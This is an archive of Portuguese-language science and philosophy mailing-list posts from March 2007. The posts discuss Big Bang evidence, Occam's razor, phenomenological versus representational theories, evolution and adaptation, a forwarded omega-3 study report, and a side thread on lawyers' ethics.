DATE: 14/03/2007 16:24

Olá

Gostaria de saber, existem passos na cosmologia, particularmente, na
teoria do Big Bang, que são "ad hoc", ou coisa parecida? O resumo que
eu passei para um cara foi o seguinte:

1. As estrelas mais próximas tem a sua distância determinada por
cálculos geométricos, usando a paralaxe heliocêntrica.

2. Examinando as estrelas cefeidas da Nuvem de Magalhães, Henrieta
Leavitt (http://pt.wikipedia.org/wiki/Henrietta_Swan_Leavitt)
descobriu que a luminosidade absoluta da estrela é função direta da
freqüência do brilho dela.

3. Sabe-se que a luminosidade de uma estrela cai com o quadrado da
distância.

4. Juntando 2 e 3, chega-se a uma maneira de descobrir a distância em
que se encontra uma galáxia, basta encontrar cefeidas, medir a
freqüência dela e a luminosidade, e então calcular a distância. O
Hubble consegue encontrar cefeidas em um raio de 50 milhões de anos-luz.

5. As estrelas emitem luz, e esta luz tem um espectro luminoso, que
"dedura" os elementos que compõe a heliosfera. A espectroscopia é
bastante usada aqui na Terra, e a relação entre linhas do espectro e
elementos químicos está bem documentada.

6. Usando as distâncias obtidas pela observação de cefeidas, Edwin
Hubble determinou que o espectro das galáxias estava deslocado para o
vermelho, e quanto mais distante a galáxia, mais deslocado para o
vermelho. Ele interpretou o desvio para o vermelho como um efeito
Dopler sobre a Luz, e um indicativo que as galáxias estão se afastando
de nós, e as galáxias mais distante se afastam mais rapidamente. A Lei
de Hubble: quanto maior a distância a que se encontra uma galáxia,
mais rapidamente ela está se afastando de nós.

7. O próximo salto é lógico: se as galáxias estão se afastando, quanto
mais no futuro, mais distantes estarão umas das outras, e quanto mais
no passado, mais próximas estarão umas das outras. Houve então um
momento em que todas as galáxias estavam em um único ponto. Nasce aí a
teoria do Big Bang. Há muito mais matemática e física (Teoria da
Relatividade e Mecânica Quântica), e há muitas perguntas não
respondidas, mas nada de invenções.

[]s
--
César A. K. Grossmann



SUBJECT: Re: [Genismo] ADVOCACIA eh uma profissao ETICA?
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <Genismo@yahoogroups.com>
CC: <Conversa_de_Botequim@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 14/03/2007 18:37

Marc:
Desculpe o pitaco mas o costume de oferecer a esposa para dormir com o visitante é para a gerração de filhos não consagüinmeos (introdução de genes novos) pois a população é muito reduzida, as distâncias são longas....
Este costume, criado por necessidade evolutiva é perfeitamente normal para qualquer pessoa que tenha cultura antropológica.
Não é só os esquimós que usam esse método.

sds.,

silvio

sds.,

silvio
----- Original Message -----
From: Marc Aygadoux
To: Genismo@yahoogroups.com
Sent: Wednesday, March 14, 2007 9:22 AM
Subject: Re: [Genismo] ADVOCACIA eh uma profissao ETICA?



Companheiros ( de grupo),

Ética e moral por sua diversidade tem se mostrado geográfica e circunstancial, e fundamentalmente ancorada em razões de ordem econômica, logo por motivo de sobrevivência da espécie, genética, ilustro com algumas questões dentre muitas mais:

. A sociedade judáica/cristã é predominantemente monogâmica, o mesmo não ocorre em outras culturas. Não nos esqueçamos que no antigo testamento (independentemente de sua veracidade histórica, pois estamos no plano da filosofia), época em que a reprodução da espécie necessitava de um "arranque numérico", a poligamia era permitida. Até os dias de hoje certas culturas ainda são poligamicas.

. Entre os esquimós, o costume de se oferecer a cama da esposa a visitantes (não sei se ainda em prática) que para nos é incabível (apesar da prática cada vez maior do swing e outras variantes de jogos sexuais), fundamenta-se segundo estudo em razão econômica pois, um visitante que adentra em um iglu, após uma caminada a temperaturas abaixo de 25º necesita rapidamente de aquecimento. O aquecimento do corpo pode se dar ou com a ingestão de alimentos calóricos ou por contato com outro corpo aquecido. Ora, nas plagas do polo, alimento calórico é muito dificil de se conseguir, e como à companheira do dono do iglu já ter se alimentado e poder partilhar de seu calor com o visitante a ser aquecido ela é a eleita para tal. Podem perguntar, poruq enão o homem ? a resposta é: pq ele é que tem de estar de vigia, para manutenção da segurança (dentre outras razões.. o estudo não é meu).

Remetendo ao assunto que me traz, a discussão cada vez mais acirradamente político/partidária entre os participantes do grupo que nos desvia dos propositos originais do mesmo, finalizo perguntando:

Vcs não acham que apesar de ético ou não ético, está tudo certo como deve ser ? Pela " Lei da seleção natural ", quem pode mais chora menos, e assim dá-se a evolução das espécies.

Se levarmos este tipo de discussão em frente, logo poderemos estar discutindo a ética de Einstein ao possibilitar a invenção dos armamentos atômicos, pois ele seguramente sabia e conhecia esta possibilidade.

Por enquanto é só,

Saudações

Marc G. L. Aygadoux
Sampa




----- Original Message -----
From: Jocax
To: Genismo@yahoogroups.com
Sent: Tuesday, March 13, 2007 5:05 PM
Subject: Re: [Genismo] ADVOCACIA eh uma profissao ETICA?


Paulo,
Todas as profissoes nas quais o profissional infringe uma lei ou prejudica alguem
ele pode ser processado e condenado.
Muitos ja processaram a industria de cigarros , a de carros etc etc
Mas NINGUEM pode processar um advogado que INOCENTA um CULPADO
pq isso EH DIREITO dos advogados , NAO EH?

Eu estou propondo que se mude isso.
Que os advogados PERCAM esse direito.
Vc nao acha interessante?

[]s
Jocax



pbedaque wrote:


Bom, mais ai a coisa vai longe. Eu tb me sinto incomodado com os profissionais da propaganda, que servem aos deuses e aos demônios (fiquem tranquilo, é só uma licença poética) e querem me enfiar guela abaixo produtos que muitas vezes eu nem preciso. E para isso, não tem e não podem ter um código de ética pois o que vale é o consumo e não a felicidade da humanidade. E por que não incluí-los no rol das profissões anti-éticas? Será que os professores deveriam ser punidos por aprovarem seus alunos sem que eles tenham adquirido o mínimo de competências que se espera de alunos que ficam tanto tempo nas escolas? O próprio estado faz de tudo para "jogar" pra frente alunos semi-analfabetos! E pensando bem, o que é ser culpado? Um serial killer é culpado? Culpado de que? (Calma, eu condenaria todos eles, se estivesse no corpo de jurados). Outro dia ouvi as declarações de um condenado americano, que estuprou e matou oito mulheres. Hoje ele participa de um programa de redução da taxa de testosterona e diz que se tivesse começado antes, essas oito mulheres estariam vivas. Ele é culpado ou inocente?

Paulo Bedaque

----- Original Message -----
From: Silvio Cordeiro
To: Genismo@yahoogroups.com
Sent: Tuesday, March 13, 2007 2:37 PM
Subject: Re: [Genismo] ADVOCACIA eh uma profissao ETICA?







------------------------------------------------------------------------------


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/03/2007 18:37

cara, lendo o link que vc repassou sobre fenomenologia
nao parece que ela se enquandre em uma teoria
behavioristica já que segundo o artigo, a essencia das
coisas estaria na mente e ela não se preocupa se o
objeto é real ou imaginário enquanto que o
behaviorismo é algo real, fenomeno observável, embora
não se esteja preocupado com a sua estrutura interna.

--- Alberto Mesquita Filho <albmesq@uol.com.br>
escreveu:

> ----- Original Message -----
> From: "Chicao Valadares"
> Sent: Monday, March 12, 2007 12:15 PM
> Subject: Re: [ciencialist] Re: Sobre o Método
> Cientifico
>
>
> > Se voce puder me dizer algo sobre FENOMENOLOGIA
> também seria bom.
>
> O assunto é bastante extenso e, em sua completude, é
> estudado em
> filosofia. Sob esse aspecto generalizante o tema
> está bem tratado em
> http://www.cobra.pages.nom.br/ftm-fenomeno.html .
> Vou tecer apenas
> algumas considerações sobre um aspecto importante
> sob o ponto de
> vista da filosofia da ciência e relacionado à
> teorização em ciências
> naturais (estou fazendo adaptações em um texto que
> escrevi há muito
> tempo --> 1987).
>
> Classicamente existem dois tipos de teorias: 1)
> fenomenológicas e 2)
> representacionais. Os termos não são isentos de
> críticas, havendo
> quem prefira as denominações "teorias de caixa
> negra" e "teorias de
> caixa translúcida", respectivamente. Por vezes
> confunde-se
> fenomenologismo com empirismo e representacionismo
> com realismo. Há
> de se notar, não obstante, que o realismo se utiliza
> dos dois tipos
> de modelos teóricos e, também, que existem teorias
> que se apoiam no
> modelo fenomenológico e, no entanto, estão
> totalmente à margem da
> filosofia empirista.
>
> As teorias fenomenológicas, ou de caixa negra,
> estudam o
> comportamento de um sistema sem, contudo, se
> preocupar com o
> mecanismo interno. São também, e por este motivo,
> chamadas teorias
> behavioristas. O modelo behaviorista satisfaz a
> filosofia empirista,
> pois permite a condensação de grande número de dados
> experimentais e
> a predição da evolução do sistema, sem ultrapassar
> em demasia o
> observável. As teorias fenomenológicas são teorias
> de baixo risco e,
> portanto, dificilmente derrubadas; contudo são menos
> férteis que as
> teorias representacionais.
>
> As teorias representacionais não só aceitam a
> hipótese metafísica da
> existência de um mecanismo interno, mas procuram
> explicar a causa
> imediata dos fenômenos observados; utilizam para
> isto a imaginação
> e/ou a lógica transcendental. Através de modelos
> teóricos imaginários
> prevê fatos novos, e estes últimos devem ser
> corroboráveis
> experimentalmente. Adota como critério de prova a
> concordância das
> conclusões com as leis conhecidas, não sem, é claro,
> desconfiar
> dessas leis.
>
> O cientista realista, como disse, trabalha com os
> dois tipos de
> teorias e, para exemplificar essa conduta vou citar
> um pensamento
> realista de Mário Bunge: "O fim último da teorização
> científica é
> edificar teorias representacionais que abarquem e
> expliquem as
> correspondentes teorias fenomenológicas."
>
> O paradigma das teorias fenomenológicas é a
> termodinâmica clássica,
> talvez a mais bela, a mais completa e a mais
> profunda (ainda que
> fenomenológica) teoria científica. E por mais que se
> pretenda torná-
> la obsoleta, vem resistindo ao passar do tempo e
> alicerçando as
> teorias representacionais que pretendem
> substituí-la. É, sem sombra
> de dúvidas, uma teoria que se adapta à doutrina
> empirista, mas não
> tenham dúvidas de que é muito mais fácil justificar
> o empirismo pelos
> sucessos da termodinâmica do que o inverso.
>
> As teorias não são, em sua grande maioria, nem
> puramente
> fenomenológicas, nem puramente representacionais.
> Utilizam-se de
> ambas as metodologias, situando-se num caminho
> intermediário entre as
> primeiras e as segundas. Em geral iniciam-se como
> uma teoria de caixa
> negra mas, cedo ou tarde, evoluem --às custas de
> raciocínios que
> interrelacionam as leis experimentais observadas--
> para uma teoria de
> caixa cada vez mais transparente.
>
> Exemplos:
>
> . Teoria Fenomenológica Teorias
> Representacional
> . Cinemática
> Dinâmica
> . Óptica Geométrica Óptica
> Física
> . Termodinâmica Mecânica
> Estatística
> . Matriz de Espalhamento Teoria
> Quântica Hamiltoniana
>
> Note-se que os exemplos não pertencem a uma
> classificação absoluta.
> Ninguém vai estudar, por exemplo, aspectos de óptica
> geométrica sem
> relacionar os achados com os conhecimentos
> sabidamente existentes no
> âmbito da óptica física. Por outro lado, a evolução
> da ciência não é
> orientada exclusivamente no sentido de caixa negra
> para translúcida.
> O inverso também é comum, embora também signifique
> um progresso
> representacional. À medida em que os mecanismos
> intrínsecos a uma
> caixa negra primitiva vão se tornando translúcidos,
> nota-se a
> existência de regiões nebulosas que comportam uma
> análise
> fenomenológica. Criam-se assim caixas negras no
> interior de uma caixa
> translúcida, ou uma teoria fenomenológica no seio de
> uma
> representaciona, e a primeira colabora para o
> aprofundamento da
> segunda.
>
> Tomemos, como exemplo, a óptica física e, em
> particular, a difração
> ou inflexão da luz. Numa abordagem inicial podemos
> construir uma
> teoria de caixa negra. O interesse de momento
> focaliza-se unicamente
> no que há de observável. E o que há de concreto é um
> feixe paralelo
> de luz, antes de um orifício ou da borda de um
> objeto, e um feixe
> divergente após a região responsável pelo que
> denominamos difração ou
> inflexão dos raios. Todas as leis decorrentes dessas
> observações
> incorporam-se numa teoria fenomenológica. Qualquer
> tentativa de
> explicar o porquê da difração ou inflexão, nos leva
> a uma estrada com
> duas pistas: ou melhoramos as condições de
> observação, refinando a
> técnica utilizada, ou partimos para o
> representacionismo, tentando
> explicar o não observável através do que se vê. Em
> geral utiliza-se
> ambas as vias, e o que se tem como resultado no caso
> são as teorias
> corpusculares e ondulatórias que, evidentemente, são
>
> representacionais.
>
> Bem, o texto original é bem mais extenso, mas
> procurei resumir o que
> há de mais fundamental no assunto.
>
> > A não existência de um método completo seria um
> bom argumento para
> os religiosos????
>
> Talvez sim, mas apenas para àqueles que chamo
> "religiosos de pouca
> fé". Você encontrará mais sobre o que penso a
> respeito em
>
http://ecientificocultural.com/ECC2/Dialogos/cmee.htm
> [Ciência,
> materialismo e espiritualismo].
>
>
=== message truncated ===


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/03/2007 18:45

Vou fazer uma afirmaçao sobre a navalha de occam e
gostaria que vcs comentassem:

"O argumento do uso da Navalha de Occam como processo
de seleção de teoria científica é falacioso. Nada
garante que a hipotese consistente mais simples seja a
explicação real do fenômeno. E isso é lógico. Para que
isso sempre fosse verdade, precisariamos de uma
amostra de tamanho razoável(casos em que isso é
verdadeiro) para se poder afirmar estatisticamente que
isso sempre ocorre. Mas nunca poderemos fazer isso
porque não conhecemos toda a verdade, ou seja, não
conhecemos a população de hipoteses possíveis sobre
todos os fatos do universo."

Eu posso ter me equivocado em alguma coisa mas dá pra
entender o que eu quero afirmar.

Abraços

"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Fw: [Acropolis_] a volta do óleo de peixe?
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <Conversa_de_Botequim@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>
DATE: 14/03/2007 19:02

Vamos usar nos netos.....


do John C no Acropolis_@yahoogrupos.com.br



Olá



Repasso. Alguém aí lembra do maldito óleo de fígado de bacalhau? O famigerado Emulsão Scott? Detalhe: essa porcaria de Omega 3 em pílulas é bem carinha. O estudo não é conclusivo, mas o repórter achou que isto não era relevante o suficiente para mudar a manchete.





Estudo com ácido graxo faz cérebro evoluir três anos








Cientistas britânicos descobriram que quatro crianças que tomaram um suplemento de ácido graxo durante um experimento tiveram um desenvolvimento cerebral de três anos em apenas três meses.

Três meninos e uma menina, todos acima do peso ideal e com idades entre oito e 13 anos, participaram do experimento do Imperial College, de Londres, em que os cientistas procuraram avaliar os efeitos da junk food em cérebros jovens.

Foi pedido às crianças para que fossem mais ativas e reduzissem o consumo de comidas pouco saudáveis e bebidas com gás. Ao mesmo tempo, elas receberam dois comprimidos diários do suplemento VegEPA, que contém ácido graxo ômega-3.

Testes realizados depois de três meses revelaram que as crianças tiveram um aumento na habilidade de leitura, sua caligrafia ficou mais clara e mais precisa e elas mostraram mais concentração nas aulas.

Embora as crianças tenham sido incentivadas a mudar sua dieta, não houve sinais de que elas tenham seguido a orientação à risca, sugerindo que a melhoria no seu desempenho escolar foi resultado do uso do suplemento alimentar de ômega-3.

Meninos

Segundo Basant Puri, pesquisador do Imperial College, exames de mapeamento do cérebro mostraram um aumento no cérebro das crianças de uma substância química conhecida como N-acetilaspartato (NAA), ligada ao desenvolvimento do órgão.


Foi como se esses fossem os cérebros de crianças três anos mais velhas. Isso significa que havia mais conexões (cerebrais) e maior densidade das células nervosas




Professor Basant Puri, um dos responsáveis pela pesquisa

"Em três meses, você espera ver um pequeno crescimento (da concentração) do NAA", disse Puri, que liderou o estudo. "Mas nós vimos um crescimento que seria visto normalmente em três anos."

Foram os meninos que participaram do experimento que demonstraram mais as mudanças positivas.

Os ácidos graxos ômega-3 são encontrados em peixes gordurosos, como o salmão, ou em sementes como a de abóbora e nozes.

Conclusão duvidosa

O professor Robert Grimble, que leciona nutrição na Universidade de Southampton (sul da Inglaterra), advertiu que as conclusões da pesquisa precisam ser vistas com cautela.

Segundo Grimble, estudos com uma maior amostragem precisam ser feitos sobre o assunto. "Minha opinião é que não podemos chegar a nenhuma conclusão clara até que um teste apropriado seja feito."

"Esses pedacinhos fracos de informação apenas confundem as pessoas", disse.

No ano passado, a agência reguladora de alimentos da Grã-Bretanha publicou uma análise dos efeitos dos suplementos extraídos de peixes gordurosos sobre crianças e disse que, à luz dos estudos disponíveis, não era possível chegar a qualquer conclusão.










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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Chicao - Navalha de Ockan - Re: Sobre o Método Cientifico
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/03/2007 21:30

Olá Chicão

Chicão: "O argumento do uso da Navalha de Occam como processo
> de seleção de teoria científica é falacioso. Nada
> garante que a hipotese consistente mais simples seja a
> explicação real do fenômeno."

Nada garante. Mas é mais seguro escolher a explicação mais simples, e
esta tem maior probabilidade de ser correta.

Seu erro, comum até, se baseia, me parece, em uma incorreta
compreensão da Navalha de Ockam.

Originalmente, o argumento diz: não multiplique desnecessariamente os
elementos. Ou seja, se um conjunto de elementos explica um sistema de
forma satisfatória, não se deve incluir novos, desnecessários, nessa
explicação. Ou nas palavras de Ockam:

"Pluralitas non est ponenda sine neccesitate" (Entidades não devem ser
multiplicadas além do necessário)

Um exemplo prático, concreto mesmo: se um dispositivo faz algo com 3
peças, e outro faz a mesma coisa com 28 peças (as 3 do anterior, mais
25 peças extras), qual dos dois dispositivos terá maior probabilidade
de apresentar falhas estruturais?

Se o primeiro dispositivo tiver um defeito em uma das 3 peças, o outro
também terá, mas se o outro tiver um defeito, em uma das peças, pode
ser que seja nas 25 extras.

Em termos de teorias o raciocínio é idêntico: se uma teoria explica
bem um fenômeno, com 3 premissas, e outra explica a mesma coisa, mas
com 28 premissas, qual delas pode ser mais passível de apresentar um
erro em sua construção?

Outro ponto é que a teoria "mais simples" não significa a "mais fácil
de ser compreendida". Explicações de física avançada são bastante
complexas, mas não há explicações mais simples que satisfaçam a
exigência final da Navalha. Que também costuma ser "esquecida" na
analise da Navalha: as explicações devem ser igualmente satisfatórias.

Ou seja, se uma explicação com mais elementos explica MELHOR do que a
com poucos elementos, não há porque se aplicar a navalha de Ockam. A
explicação com mais elementos deve ser tomada sem problemas.

Veja esta versão da Navalha proposta por Newton:

"Não se deve admitir mais causas às coisas da natureza que aquelas que
forem tanto verdadeiras quanto suficientes para explicar sua aparência."

Assim, se uma explicação para o fenômeno como a origem das espécies é
bem respondida pela seleção natural e teoria da evolução, inserir um
elemento extra (um ser sobrenatural a interferir no processo) é pouco
lógico ou razoável. E, de acordo com a Navalha, desnecessário.

Uma história para ilustrar. Quando Laplace apresentou a Napoleão seus
cálculos para a gravitação de corpos celestes e planetas, este
reclamou da ausência de Deus no livro. A resposta de Laplace é
lendária: Sire, eu não precisei dessa hipótese.

A Navalha de Ockam não diz que SEMPRE é a explicação simples a
correta, mas que devemos PREFERIR a explicação mais simples. Entre
duas teorias que explicam igualmente bem um fenômeno, a mais simples
deve ser escolhida como base para novos estudos e desdobramentos.

Nada impede, claro, de estudando a teoria, descubramos que esta
apresenta lacunas ou falhas, e seja preciso desenvolver uma nova
teoria ou ajustar a anterior. Nesse caso, a premissa é violada (as
duas teorias NÃO explicam mais igualmente bem o fenômeno, mas uma
delas explica melhor), e a Navalha não mais se aplica.

No caso de Laplace e a gravitação, entre duas teorias, uma que
explicava bem o movimento e órbitas dos corpos, com os dados já
conhecidos, e outra que postulava um ser extra, uma entidade
sobrenatural, complexa, intencional, a controlar cada corpo celeste e
suas relações e órbitas, a primeira hipótese era mais simples. E a
Navalha cortou a segunda por desnecessária.

Espero que a explicação tenha ajudado a esclarecer algumas dúvidas.

Um abraço.

Homero



--- Em ciencialist@yahoogrupos.com.br, Chicao Valadares
<chicaovaladares@...> escreveu
>
> Vou fazer uma afirmaçao sobre a navalha de occam e
> gostaria que vcs comentassem:
>
> "O argumento do uso da Navalha de Occam como processo
> de seleção de teoria científica é falacioso. Nada
> garante que a hipotese consistente mais simples seja a
> explicação real do fenômeno. E isso é lógico. Para que
> isso sempre fosse verdade, precisariamos de uma
> amostra de tamanho razoável(casos em que isso é
> verdadeiro) para se poder afirmar estatisticamente que
> isso sempre ocorre. Mas nunca poderemos fazer isso
> porque não conhecemos toda a verdade, ou seja, não
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>
> Eu posso ter me equivocado em alguma coisa mas dá pra
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> "O Binômio de Newton é tão belo como a Vênus de Milo.
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SUBJECT: Efeméride: 128 anos de Einstein
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/03/2007 22:37

Hj é aniversário do nascimento de Albert Einstein.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: P/ Jose Renato - Tartarugas, mamutes, e o enganodeJoseRenato
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/03/2007 23:10

Homero, atente! Estou falando de adaptação do ser vivo ao ambiente e vc de
mutação genética. O urso hiberna se há estação de frio, se não há, ele não
hiberna. Ele se adapta à nova condição do ambiente.
[]s
JR
..................................

From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, March 13, 2007 12:43 AM
Subject: [ciencialist] Re: P/ Jose Renato - Tartarugas, mamutes, e o
enganodeJoseRenato


Olá Jose Renato

Renato: "Jeff, entendo que a seleção proposta por Darwin ocorre depois
das mutações."

Ótimo, é um passo a frente que temos esperado há muito tempo..:-)

Renato: "Agora peço que tente entender que a adaptação independe de
mutações. O próprio organismo do ser vivo promove as condições mais
econômicas e adequadas para sobreviver a uma mudança no ambiente."

Bem, dois passos para tras..:-( Não, Renato, o organismo não faz isso,
no sentido de evolução. Qualquer "ajuste" feito pelo organismo tem de
estar previamente definido em suas capacidades, e previamente definido
em seus genes.

Um urso JAMAIS vai aumentar seus pelos se ficar frio, ele tem de
nascer com os pelos a mais, e só nascerá com pelos a mais se
ALEATORIAMENTE, sem intenção, a combinação de genes que receber de
seus pais assim determinar (aqui um alerta, um urso pode nascer com
genes que determinem que seus pelos aumentem ou diminuam com a
temperatura, mas mesmo isso TEM de estar definido na formação de seu
DNA, não é uma evolução individual).

SE não houver mutações, SE o DNA for identico ao ancestral que o
passou adiante, NENHUMA adaptação ocorrerá e NENHUMA evolução
ocorrerá. Nenhuma.

Nenhuma espécie se adaptará se não houver mutações, diferenças mínimas
nos genes dos descendentes.

Mesmo bactérias, que se reproduzem simplesmente se dividindo, tem de
contar com "erros" de codificação na divisão e duplicação dos genes,
ou não evoluiriam.

O que parece chamar de "próprio organismo do ser vivo promove as
condições mais econômicas e adequadas para sobreviver a uma mudança no
ambiente" é uma confusão com ajustes NÃO evolutivos, como, por
exemplo, a diminuição do metabolismo em tempos de pouca comida de
muitos mamiferos, com evolução por herança de caracteres.

A diminuição de metabolismo é algo "já determiando" nos genes do
individuo, não é um exemplo de adaptação evolutiva. Sei que vai
confundir tudo e dizer "como assim, não é um exemplo de evolução, pois
isso não aumentou as vantagens da espéice de sobreviver??!!"

Sim, a ESPÉCIE evoluiu, e agora apresenta essa capacidade de ajuste,
mas cada individuo nasce com a capacidade previamente definida, e NÃO
evolui para adquiri-la de nenhuma forma.

Isso cansa..:-(

Se seus genes que determinam essa capacidade, de diminuir o
metabolismo em tempos de pouca comida, não estiverem ativos ou
presentes, você NÃO vai evoluir e agir dessa forma. Vai morrer de fome
mais rapidamente que os outros, se a comida for pouca, jamais
"evoluindo" nesse sentido.

Entretanto, como vai morrer, esses genes com defeito, ou o padrão "sem
genes para diminuir metabolismo" não estarão presentes na próxima
geração de seres humanos.

Vamos para um caso concreto, algumas pessoas nascem sem a capacidade
de regular sua temperatura corporal como você e todos nós fazemos. Se
elas aquecerem demais (correr, por exemplo), tem de arrumar uma forma
externa de esfriar, ou vão morrer de hipertermia.

Um atleta de corrida treinava com baldes de água sempre por perto,
para jogar sobre seu corpo, mesmo em dias frios, para não morrer no
treino.

Este ser humano JAMAIS vai evoluir e adquirir capacidade de diminuir
sua temperatura. Jamais. Morrerá como nasceu.

Se seus filhos receberem, por azar, esses genes que não permitem
esfriar, igualmente terão problemas, e JAMAIS evoluirão nesse sentido.

Nenhum individuo evolui, espécies evoluem, devido a seleção natural,
que elimina (mata ou impede a procriação) os que, por azar, não tem
padrões de genes eficazes em sobreviver.

Um abraço.

Homero






--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Jeff, entendo que a seleção proposta por Darwin ocorre depois das
mutações.
> Agora peço que tente entender que a adaptação independe de mutações. O
> próprio organismo do ser vivo promove as condições mais econômicas e
> adequadas para sobreviver a uma mudança no ambiente.
> []s
> José Renato
> ...............................................
>
> From: "Jefferson" <jeff@To: <ciencialist@yahoogrupos.com.br>
> Sent: Saturday, March 10, 2007 10:44 AM
> Subject: Re: [ciencialist] Re: P/ Jose Renato - Tartarugas, mamutes,
e o
> engano deJoseRenato
>
>
> > Olá,
> >>
> >> Homero, qualquer ser vivo se adapta ao ambiente! Será que vc não
consegue
> >> entender isso? Vc se estende em elucubrações sem qualquer sentido
ao que
> >> se discute, desnecessariamente.
> >>
> > Não se adapta, é selecionado pelo ambiente. Tente entender que a
seleção
> > ocorre *depois* de mutações, que são "aleatórias", sem a intenção
de se
> > adaptar ao ambiente.
> >
> > []´,s
> > Jeff.
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SUBJECT: Re: P/ Jose Renato - Tartarugas, mamutes, e o enganodeJoseRenato
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/03/2007 23:51

Olá Jose Renato

Renato: "Homero, atente! Estou falando de adaptação do ser vivo ao
ambiente e vc de mutação genética. O urso hiberna se há estação de
frio, se não há, ele não hiberna. Ele se adapta à nova condição do
ambiente."

Eu tentei explicar (dezenas de vezes), o Takata tentou explicar (leia
a última mensagem dele sobre seu erro), o Jeff tentou explicar, e
muitos outros tentaram explicar. Você insiste no erro.

Não sei mais que fazer, Renato..:-)

Se "adaptar" no sentido do termo usado na teoria da evolução, está
ligado a mutações genéticas que podem ser passadas a descendência. O
urso "dorme" no inverno porque está em seu patrimônio genético dormir
no inverno.

Estou falando de mutação genética porque SÓ esta é relevante para a
evolução. Um urso pode "se adaptar" a falta de inverno (na verdade,
ele não pode, um urso polar morreria se as estações se modificassem
demais), porque essa adaptação está contida em seu patrimônio genético.

Está confundindo, mais uma vez, os termos e os aspectos da evolução,
dos genes, dos comportamentos, etc.

A evolução é a "filtragem de genes" provocada pela seleção natural,
que permite que ESPÉCIES se modifiquem, e se adaptem ao meio ambiente,
mantendo genes eficazes e descartando os ineficazes. Não tem nada a
ver com escolhas que um individuo faz em sua vida (a não ser aquelas
JÁ determinadas ou permitidas pelo DNA que ele carrega)

Renato, você não gostaria de ler um dos (muitos) livros que já
recomendamos para você, para desfazer os (muitos) erros que você
comete com relação a teoria da evolução? Até mesmo para poder
discordar com mais embasamento?

Por exemplo, o Rio que Saia do Éden, de Dawkins, O Polegar do Panda,
de Gould, ou mesmo o mais difícil, mas mais importante, o Gene Egoísta?

Ou A Beira d´água: Macroevolução e a Transformação da Vida, de Carl
Zimmer, um excelente livro para entender as forças cegas, a evolução,
a força da seleção natural, e outros aspectos da evolução.

Por favor, seria importante que entendesse onde está errando, e estes
livros ajudariam bastante.

Um abraço.

Homero




SUBJECT: Re: Sobre o Método Cientifico
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/03/2007 04:18

----- Original Message -----
From: "Chicao Valadares"
Sent: Wednesday, March 14, 2007 6:37 PM
Subject: Re: [ciencialist] Re: Sobre o Método Cientifico

> cara, lendo o link que vc repassou sobre fenomenologia
[ http://www.cobra.pages.nom.br/ftm-fenomeno.html ] nao parece que
ela se enquandre em uma teoria behavioristica já que segundo o
artigo, a essencia das coisas estaria na mente e ela não se preocupa
se o objeto é real ou imaginário enquanto que o behaviorismo é algo
real, fenomeno observável, embora não se esteja preocupado com a sua
estrutura interna.

Bastante pertinente a sua observação. Você está certo se
interpretarmos "teoria behaviorística" como algo pertencente à seara
da psicologia. Com efeito, o dicionário Houaiss diz: "behaviorismo:
teoria e método de investigação psicológica que procura examinar do
modo mais objetivo o comportamento humano e dos animais, com ênfase
nos fatos objetivos (estímulos e reações), sem fazer recurso à
introspecção".

Os autores que chamam as teorias fenomenológicas como "teorias
behavioristas", muito provavelmente estão extrapolando o behaviorismo
afim de que se adéqüe ao comportamento de sistemas em geral (não
apenas humano e de animais) e, neste caso, utilizando a locução de
maneira inapropriada [Lembro que, como afirmei anteriormente, a
classificação apontada (teorias fenomenológicas e representacionais)
é utilizada por alguns estudiosos das ciências naturais (física,
química e biologia)]. Apenas neste sentido é que se poderia chamá-
las, inapropriadamente, repito, de "teorias behavioristas". Como
afirmei na msg anterior, seriam teorias que estudam o "comportamento
de um sistema" sem, contudo, se preocupar com o mecanismo interno. Se
o fenômeno em sí é real ou imaginário, na mente do teorizador, isso
não estaria em jogo, pois não é o comportamento (behavior) do
teorizador que está sendo levado em consideração, mas sim o do
sistema.

Lembro também que para o cientista realista (e o cientista natural na
grande maioria dos casos assume uma postura realista), "os universais
existem independentemente dos observadores", ou seja, desses
universais estarem ou não sendo observados. Ou seja, existiria uma
essência real em todos os fenômenos que se repetem (aqueles capazes
de serem observados experimentalmente e, portanto, pertencentes à
seara da ciência), ainda que não possamos garantir que esse real seja
exatamente aquilo que estamos observando através dos órgãos dos
sentidos (ou de interpretações efetuadas por nosso cérebro) ou de
equipamentos. Esta essência real assumida para os fenômenos
observáveis caracterizaria, para o cientista realista, a
fenomenologia, enquanto o que estivesse além disso caracterizaria o
representacionismo.

Perceba que tanto os termos "fenomenológica" como "behaviorista" não
estão livres de críticas, e esta é a razão pela qual alguns preferem
chamá-las por teorias de caixa negra.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Re: Sobre o Método Cientifico
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
